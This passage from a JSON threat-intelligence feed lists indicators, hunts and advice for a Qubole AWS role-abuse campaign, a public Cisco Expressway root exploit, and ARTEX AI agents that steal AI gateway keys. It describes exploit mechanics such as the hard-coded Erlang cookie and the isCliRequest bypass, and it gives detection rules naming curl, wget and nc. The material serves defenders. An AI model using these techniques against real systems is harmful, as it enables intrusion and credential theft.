Qubole-trusted roles in customer AWS accounts, enumeration and credential harvesting. It also hosted sso_agent.iso, which beacons back to TCP 23458. May be reassigned after October 2026; review hits in that window.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" }, { "url": "https://thehackernews.com/2026/11/hackers-exploit-quboles-trusted-aws.html", "name": "The Hacker News" } ] }, { "value": "2001:41d0:70d:7800::", "type": "ipv6", "confidence": "high", "recommended_action": "block", "description": "Attacker-used OVH IPv6 address (AS16276) seen from 16 to 24 October 2026 enumerating and verifying stolen credentials.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" }, { "url": "https://thehackernews.com/2026/11/hackers-exploit-quboles-trusted-aws.html", "name": "The Hacker News" } ] }, { "value": "45.83.220.211", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Mullvad VPN exit (31173 Services AB, AS39351) that assumed Qubole-trusted roles in customer accounts on 14 and 15 October 2026. Shared VPN exit: alert, do not block.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "185.209.199.73", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Mullvad VPN exit (31173 Services AB, AS39351) used from 18 to 21 October 2026 to assume integration roles across several victim accounts in quick succession. Shared VPN exit: alert, do not block.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "89.37.63.175", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Mullvad VPN exit on Datacamp Limited (AS212238) used on 25 October 2026 to assume roles in customer accounts. Shared VPN exit: alert, do not block.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "65f061281c9a712e9502793dc4c5035cae490b84da05f7d4223cefa65ad396e4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of sso_agent.iso, a bootable Linux image hosted on 57.129.54.120 that collects disk and interface details, uploads them, polls TCP 23458 for shell scripts for 90 minutes, then hard-reboots to erase traces; it loads the ntfs3 driver, suggesting Windows targets.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "1c7437dac21630f53c0b888b50662c6487e23fd7", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of sso_agent.iso, the bootable Linux image hosted on the attacker's OVH server.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "086d4a83181971e883c53a4c44f46da2", "type": "md5", "confidence": "high", "recommended_action": "block", "description": "MD5 of sso_agent.iso, the bootable Linux image hosted on the attacker's OVH server.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "805246085872", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "AWS account that Qubole's platform uses to assume roles in customer accounts, and the source of every attacker role assumption. Also carries legitimate traffic: hunt for AssumeRole from it with a non-AWS source address.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "AIDA3W7DIFLYOLTK63SFS", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "IAM user principal ID in account 805246085872 seen only in the attacker's activity. Any CloudTrail event with this principal warrants investigation.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "AIDAJYRRH5Y3A7AAJM2HW", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Second IAM user principal ID in account 805246085872, used by the attacker from 18 October 2026 but also by legitimate Qubole traffic from AWS infrastructure. Alert only when the source address is not an AWS address.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] }, { "value": "quiam-*", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Role session name prefix the attacker used for every assumed-role session, such as quiam-enum and quiam-scope-full.", "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "source_name": "Wiz", "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "name": "Wiz" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.kql", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.spl", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt_raw.spl", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.yaral", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.yaral" } ] }, { "id": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC", "folder": "threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC", "name": "Cisco Expressway CVE-2026-76466: Public Root RCE Exploit (Hunt Only)", "short": "Cisco Expressway CVE-2026-76466", "category": "Exploitation / edge appliance", "published": "2026-11-12", "entry_date": "2026-11-13 11:25", "last_updated": "2026-11-13", "seq": 54, "headline": "A public exploit gives root on clustered Cisco Expressway nodes through hard-coded Erlang credentials on TCP 4372", "summary": "Cisco fixed CVE-2026-76466 (CVSS 9.8) on 21 October 2026: clustered Cisco Expressway-C and Expressway-E nodes, virtual and appliance, on X15.5.3 and earlier (and X14 and earlier) let an unauthenticated attacker run operating-system commands as root through the cluster database service. On 12 November researcher Nicolas Krassas (dinosn) published a working exploit and fleet detector on GitHub. It opens TLS to TCP 4372, completes the Erlang distribution handshake as the hard-coded maintenance node wombat@127.0.0.1 with the hard-coded cookie that is the same on every affected install, and calls os:cmd as root; it was tested on Expressway-C X15.3.2 in the factory-default TLS Permissive mode. Cisco says there is no workaround and, at the time of its advisory, knew of no malicious use; no exploitation has been reported since the code went public. No attacker infrastructure exists yet, so this entry is hunt and alert only. Its hunts flag connections to TCP 4371 or 4372 from anything that is not a cluster peer, and the public exploit being run from a managed host.", "caveat": "No exploitation or attacker indicators have been published; the CVE row is a tracking identifier, not something to block. The network hunt needs your Expressway cluster peer addresses filled in before it alerts, and it only sees traffic your firewall or NetFlow logs record. Expressway nodes do not run Defender for Endpoint, so the KQL can only see managed devices that connect out to the cluster ports or run the exploit.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [], "note": "No victims reported. Any organisation running clustered Cisco Expressway-C or Expressway-E for Webex, Jabber or video mobile and remote access is in scope; Expressway-E sits at the network edge.", "source": { "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vcs-static-cred-hr7EWZ8t", "label": "Cisco – Cisco Expressway Series Remote Code Execution Vulnerability (cisco-sa-vcs-static-cred-hr7EWZ8t)", "name": "Cisco" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1078.001", "name": "Default Accounts", "url": "https://attack.mitre.org/techniques/T1078/001/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1210", "name": "Exploitation of Remote Services", "url": "https://attack.mitre.org/techniques/T1210/" } ], "recommended_actions": [ "Upgrade clustered Expressway-C and Expressway-E nodes on X15.5.3 or earlier to X15.5.20, and migrate X14 and earlier to a fixed release; Cisco lists no workaround.", "Until then, allow TCP 4371 and 4372 to each node only from its configured cluster peers, at the perimeter and on internal firewalls, and confirm from a non-peer network that the ports are closed.", "Fill the cluster peer placeholders in the hunts with your Expressway peer addresses and run them over traffic since 12 November 2026.", "Treat a non-peer connection to TCP 4372 on an affected node as a possible root compromise: collect a diagnostic snapshot, check for new admin accounts, configuration changes and unexpected outbound connections from the node, and rebuild from a fixed release if in doubt.", "Where clustering is not needed, run Expressway as a standalone node; Cisco ties the flaw to clustered deployments." ], "sources": [ { "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vcs-static-cred-hr7EWZ8t", "label": "Cisco – Cisco Expressway Series Remote Code Execution Vulnerability (cisco-sa-vcs-static-cred-hr7EWZ8t)", "name": "Cisco" }, { "url": "https://github.com/dinosn/cve-2026-76466", "label": "dinosn (Nicolas Krassas) – CVE-2026-76466 Cisco Expressway cluster database root RCE exploit and fleet detector", "name": "github.com" }, { "url": "https://gbhackers.com/poc-exploit-released-for-critical-cisco-expressway-rce/", "label": "GBHackers – PoC exploit released for critical Cisco Expressway RCE vulnerability", "name": "GBHackers" }, { "url": "https://www.caloes.ca.gov/wp-content/uploads/CSIC_Cyber_Advisory_Remote-Root-Command-Execution-Vulnerability-in-Cisco-Expressway-Series-Database-Service.pdf", "label": "Cal-CSIC – Remote root command execution vulnerability in Cisco Expressway Series database service", "name": "Cal-CSIC" } ], "indicator_count": 1, "block_now_count": 0, "hunt_count": 1, "hunt_counts": { "monitor": 1 }, "indicator_counts": { "other": 1 }, "ioas": [ { "artefact": "Connections to TCP 4371 or 4372 on a Cisco Expressway node from any address that is not one of its configured cluster peers", "log_source": "Firewall, NetFlow or load-balancer logs in front of Expressway (Splunk Network_Traffic, Google SecOps NETWORK_CONNECTION); Defender XDR DeviceNetworkEvents for managed devices that connect out to those ports", "why": "The CVE-2026-76466 exploit reaches the Erlang cluster database service on TCP 4372 and authenticates with a hard-coded node name and cookie, then runs commands as root. Only cluster peers should ever connect on 4371 or 4372. Tuning: replace the documentation peer addresses 192.0.2.10 and 192.0.2.11 with your peers; in Defender XDR any managed device connecting out to these ports is unexpected, because Expressway nodes and their peers do not run Defender for Endpoint. Expected false positives: a newly added cluster peer before the allowlist is updated, and authorised vulnerability scans.", "action": "alert", "has_query": true, "source_url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vcs-static-cred-hr7EWZ8t", "source_name": "Cisco", "title": "Non-peer connection to Expressway cluster port 4371 or 4372", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "The public CVE-2026-76466 exploit run from a managed host: a command line naming cve_2026_76466 or the Erlang node wombat@127.0.0.1", "log_source": "Defender XDR DeviceProcessEvents; Sysmon event 1 or Linux process auditing in Splunk or Google SecOps", "why": "dinosn's exploit ships as exploit/cve_2026_76466.py with probe, ping and uid modes and hard-codes the node name wombat@127.0.0.1. Running it from inside the network means someone is testing or attacking Expressway nodes. Tuning: the script name and node name are specific; no broad tool names are matched. Expected false positives: your own authorised scans with the detector; confirm with the team that ran them.", "action": "alert", "has_query": true, "source_url": "https://github.com/dinosn/cve-2026-76466", "source_name": "github.com", "title": "CVE-2026-76466 exploit script or wombat node name", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/block_now.txt", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.kql", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.spl", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt_raw.spl", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.yaral", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/iocs.csv", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC", "share_url": "https://iocwatch.com/t/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/", "indicators": [ { "value": "CVE-2026-76466", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Cisco identifier for the clustered Expressway-C and Expressway-E flaw that gives an unauthenticated attacker root through the cluster database service on TCP 4372; fixed in X15.5.20. A public exploit was released on 12 November 2026. Hunt for connections to TCP 4371 or 4372 from addresses that are not cluster peers.", "source_url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vcs-static-cred-hr7EWZ8t", "source_label": "Cisco – Cisco Expressway Series Remote Code Execution Vulnerability (cisco-sa-vcs-static-cred-hr7EWZ8t)", "source_name": "Cisco", "sources": [ { "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vcs-static-cred-hr7EWZ8t", "name": "Cisco" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.kql", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.spl", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt_raw.spl", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC/hunt.yaral", "download": "Cisco-Expressway-CVE-2026-76466-Public-Root-RCE-PoC_hunt.yaral" } ] }, { "id": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass", "folder": "threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass", "name": "ARTEX Agents Steal AI Gateway Keys and Try Deepfake KYC Bypass at Crypto Exchanges", "short": "ARTEX AI key theft and KYC bypass", "category": "Financially motivated intrusion / AI services and crypto exchanges", "published": "2026-11-13", "entry_date": "2026-11-13 22:30", "last_updated": "2026-11-13", "seq": 53, "headline": "ARTEX agents steal provider keys from exposed AI gateways and try deepfake KYC bypass at crypto exchanges", "summary": "Amazon Threat Intelligence reported on 13 November 2026 that its MadPot sensors, posing as LLM inference APIs, captured the working memory of ARTEX agents run by what it assesses, with moderate confidence, are separate Chinese-nexus groups between 3 October and 5 November. The main campaign hunted internet-exposed LLM gateways and AI app builders (One API, New API, Veloera, Sub2API, LiteLLM, Dify, FastGPT, Langflow, RAGFlow, Open WebUI, LobeChat, Ollama), pulled the provider API keys they hold and fed them back into the operators' own model pool, then used stolen cloud credentials to reach managed AI services, secrets stores and parameter stores. Exploits included unclaimed installs, anonymous management endpoints, default admin credentials such as the LiteLLM master key, Langflow CVE-2025-3248, RAGFlow CVE-2026-28797, the isCliRequest header bypass in One API family systems and SSRF to cloud metadata. A second campaign tried to pass KYC checks at two cryptocurrency exchanges with real-time deepfake video and forged ID photos; the vendor's server-side check rejected every recorded attempt. Four hosting addresses are on the block list; the Cloudflare, Oracle Cloud and carrier addresses are alert only.", "caveat": "Amazon says the operators sent all outbound traffic through proxies, so these addresses are short-lived egress points. Do not block Cloudflare (104.28.x), Oracle Cloud or the NTT and ARTERIA carrier addresses; alert on them only.", "targets": { "countries": [], "regions": [ "Worldwide" ], "sectors": [ "Technology", "AI services", "Cryptocurrency exchanges", "Financial services" ], "note": "Amazon describes worldwide targeting of exposed AI gateways and app builders, worked through a fixed country sequence, and two unnamed cryptocurrency exchanges; operators excluded mainland China and government domains.", "source": { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "name": "Amazon Threat Intelligence" } }, "mitre": [ { "id": "T1595", "name": "Active Scanning", "url": "https://attack.mitre.org/techniques/T1595/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1078.001", "name": "Default Accounts", "url": "https://attack.mitre.org/techniques/T1078/001/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1552.005", "name": "Cloud Instance Metadata API", "url": "https://attack.mitre.org/techniques/T1552/005/" }, { "id": "T1078.004", "name": "Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1496", "name": "Resource Hijacking", "url": "https://attack.mitre.org/techniques/T1496/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" } ], "recommended_actions": [ "Block the four hosting addresses and alert on the other seven in firewall, WAF, reverse-proxy and cloud sign-in logs for October and November 2026.", "Take LLM gateways and AI app builders (One API, New API, LiteLLM, Dify, Langflow, RAGFlow, Open WebUI, Ollama) off the internet or put them behind authentication; change default admin and master keys and finish any unclaimed setup.", "Patch Langflow for CVE-2025-3248 and RAGFlow for CVE-2026-28797, and hunt Langflow hosts for shells or downloaders started by the Langflow process.", "Rotate every provider API key stored in an exposed gateway, and alert on unexpected AI model spend or calls from new addresses.", "Crypto exchanges and KYC teams: review liveness and document checks for injected video and edited ID photos with forged camera metadata." ], "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "name": "Amazon Threat Intelligence" } ], "indicator_count": 11, "block_now_count": 4, "hunt_count": 7, "hunt_counts": { "alert": 7 }, "indicator_counts": { "ipv4": 11 }, "ioas": [ { "artefact": "A shell, downloader or netcat started by the Langflow server process", "log_source": "Defender XDR DeviceProcessEvents on Linux servers (MDE for Linux); EDR process events in Splunk or Google SecOps", "why": "Amazon lists Langflow CVE-2025-3248 in the ARTEX playbook; the flaw runs attacker code inside the Langflow Python process, so a payload shows up as a child shell or downloader. Tuning: the parent command line must contain langflow and the child must be sh, bash, dash, curl, wget or nc. Expected false positives: custom Langflow components that shell out by design; baseline those per host before alerting.", "action": "alert", "has_query": true, "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_name": "Amazon Threat Intelligence", "title": "Langflow process starting a shell or downloader", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Requests to One API, New API or LiteLLM admin endpoints from outside your network that carry an isCliRequest header or authenticate with the default master key", "log_source": "WAF, reverse-proxy and AI gateway access logs", "why": "Amazon names the isCliRequest header bypass in One API family systems and the LiteLLM default master key as ARTEX entry points for pulling stored provider keys. Tuning: only external sources, and only management or channel/key endpoints. Expected false positives: your own admin CLI if it sets the header; these logs are not in Defender XDR tables, so no XDR query is given.", "action": "hunt", "has_query": false, "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_name": "Amazon Threat Intelligence", "title": "isCliRequest or default-key use on AI gateway admin APIs", "queries": [] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/block_now.txt", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/defender_xdr_indicators.csv", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.kql", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.spl", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt_raw.spl", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.yaral", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/iocs.csv", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass", "share_url": "https://iocwatch.com/t/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/", "indicators": [ { "value": "104.28.225.223", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that stole AI model API keys and cloud credentials from exposed LLM gateways and AI app builders, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "31.22.91.156", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source address of ARTEX agent traffic in the campaign that stole AI model API keys and cloud credentials from exposed LLM gateways and AI app builders, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "150.136.38.110", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that stole AI model API keys and cloud credentials from exposed LLM gateways and AI app builders, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "128.242.115.131", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that stole AI model API keys and cloud credentials from exposed LLM gateways and AI app builders, published by Amazon Threat Intelligence.", "source_url": 